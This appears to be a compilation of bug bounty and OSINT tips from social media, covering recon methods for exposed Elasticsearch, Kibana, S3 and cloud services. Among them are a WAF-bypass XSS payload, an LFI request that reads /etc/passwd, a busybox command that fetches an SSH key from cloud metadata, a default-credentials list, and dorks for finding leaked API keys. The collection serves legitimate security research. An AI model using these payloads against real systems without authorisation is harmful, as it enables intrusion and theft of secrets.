OSINT #BugBountyTip: Found an #ElasticSearch instance while doing #recon? Hit these endpoints - https://elastic.host/_cat/api (More in the thread, add your own as well)
BugBounty tip: look for port 9200 (Elasticsearch), then use this extension to easily find the juicy stuff: https://chrome.google.com/webstore/detail/elasticsearch-head/ffmkiejjmecolpfloofpjologoblkegm?hl=en-US … Remember: http://Shodan.io is your friend and you can sort by organization using org:"Org Name" query.
"Encountered with AWS WAF? Just add ""<!"" (without quotes) before your payload and bypass that WAF. :) eg: <!alert(1)"
One of the very useful ways to improve your hacking/bughunting skills when you're learning something new is by searching for it along with the @hackerone word on google Examples: - hackerone lambda - hackerone graphql - hackerone SOAP - hackerone cloudwatch
While testing Cloud Enviornment, look for cloud_metadata.txt. It conatins a list of URLs to their internal metadata services & what you can get from each URL.
A useful one-liner to quickly get subdomains of a DOMAIN: curl -s https://dns.bufferover.run/dns?q=.DOMAIN.com … |jq -r .FDNS_A[]|cut -d',' -f2|sort -u
Kibana will return a content length of 217 if it is publicly open and one can access the dashboard without authentication.
In a cloud test if you find a .cspkg file its a gold mine, its a zip file with all the compiled code and config files.
Oneliner Subdomain Enumeration! Run this nifty little command to grab a neat list of subdomains under a given TLD: curl 'https://crt.sh/?q=%.example.com&output=json' | jq '.name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u
Search for public Trello boards of companies, to find login credentials, API keys, etc. or if you aren't lucky enough, then you may find companies' Team Boards sometimes with tasks to fix security vulnerabilities
Want to find employees of a company on github? Use this: https://github.com/search?q= {COMPANY_NAME}-&type=Users. This will help to find any users who have "company_name-" in their name. Most of the time these accounts are employee accounts or is company owned.
github #bugbountytips If you are looking up for secrets at GitHub code then don't forget to also look over file commit history. ;)
If you want to know the name of inside-site s3 bucket - just put %c0 into url
Found an S3 Bucket behind a CDN and can't get the name? change to HTTPS and if it shows the same response the bucket name should be the same domain name
#BugBountyTip inside a #container / #pod that has no wget/curl? try busybox... busybox wget -q -O - http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
#bugbountytips #infosec Lookout for public google groups : POC [ https://groups.google.com/a/companyname.com … ] https://tutorgeeks.blogspot.com/2019/05/google-groups-misconfiguration.html …
[#OSINT] Find domains by registrant name or email (link: https://viewdns.info/reversewhois/) viewdns.info/reversewhois/
Just found two amazing websites. 1) (link: https://inteltechniques.com/menu.html) inteltechniques.com/menu.html 2) (link: https://intelx.io) intelx.io These two will boost your recon. (link: https://intelx.io/) intelx.io keep records of all pastebin pastes which are indexed on google and those which are removed.
Elasticsearch Kibana Console插件LFI CVE-2018-17246
PoC： GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
#OSINT Tip: Looking for Passwords, API, Secrets, etc.? Always check in Online IDEs too. Gives a lot of working #APIKeys and #Passwords. Example: site:http://ideone.com “apikey” site:http://ideone.com “aws_access_key_id”
Search the copyright string on Google to find other websites owned by the target
e.g.
intext:"© Example Inc."
Really shocking to see how companies leave their log instances exposed to public. I'm referring to #Kibana, since last few weeks have found a lot of them, reported to companies who have BBP's. Dork - inurl:app/kibana Shodan - title:"kibana" port:"443"
#Bugbountytip: forget the subdomains for recon! go directly for the ASN & hit the network-range organization: A new world arises without waf’s, a lot of messy SSL certs, unprotected hosts & private hidden scopes! #bugbounty #infosec #thinkOutsideTheBox
A tips from Nahamsec@NahamSec curl -X GET http://asnlookup.com/api/lookup?org={organization} https://ultratools.com/tools/asnInfoResult?domainName=…{organization} https://ipinfo.io{IP address} Shodan search query ASN:{ASN} #bugbountytip #bugbountytips
#bugbountytip look out for port 2181 - zookeeper , check if you are able to commands , as there is no auth in place by default in zookeeper installations.
Shodan query tip: If "ssl:<domain>" doesn't return anything try "http://ssl.cert.subject.CN:<domain>"
#bugbountytips port 9090 tcp it could be zeus-admin panel or could be any other like prometheus . if its prometheus then you can easily get the running nodes info, all the hostnames , etc
If you see a "kafka_cluser_id" in the json http body, check /connectors and then /connectors/{name} for juicy stuff (it usually runs on port 8083)
Default credentials that i always try: admin:admin test:test admin:password admin:pass test@test.com:test test@company.com:test (try with all domains that belong to company) test@company.com:test@company,com
Time for a new #bugbounty tip! When I sign up to a website/newsletter/reset password, I look at the website which hosts the logo/image in the email I receive. This led me multiple time to insecure AWS S3 buckets and scope expansion.
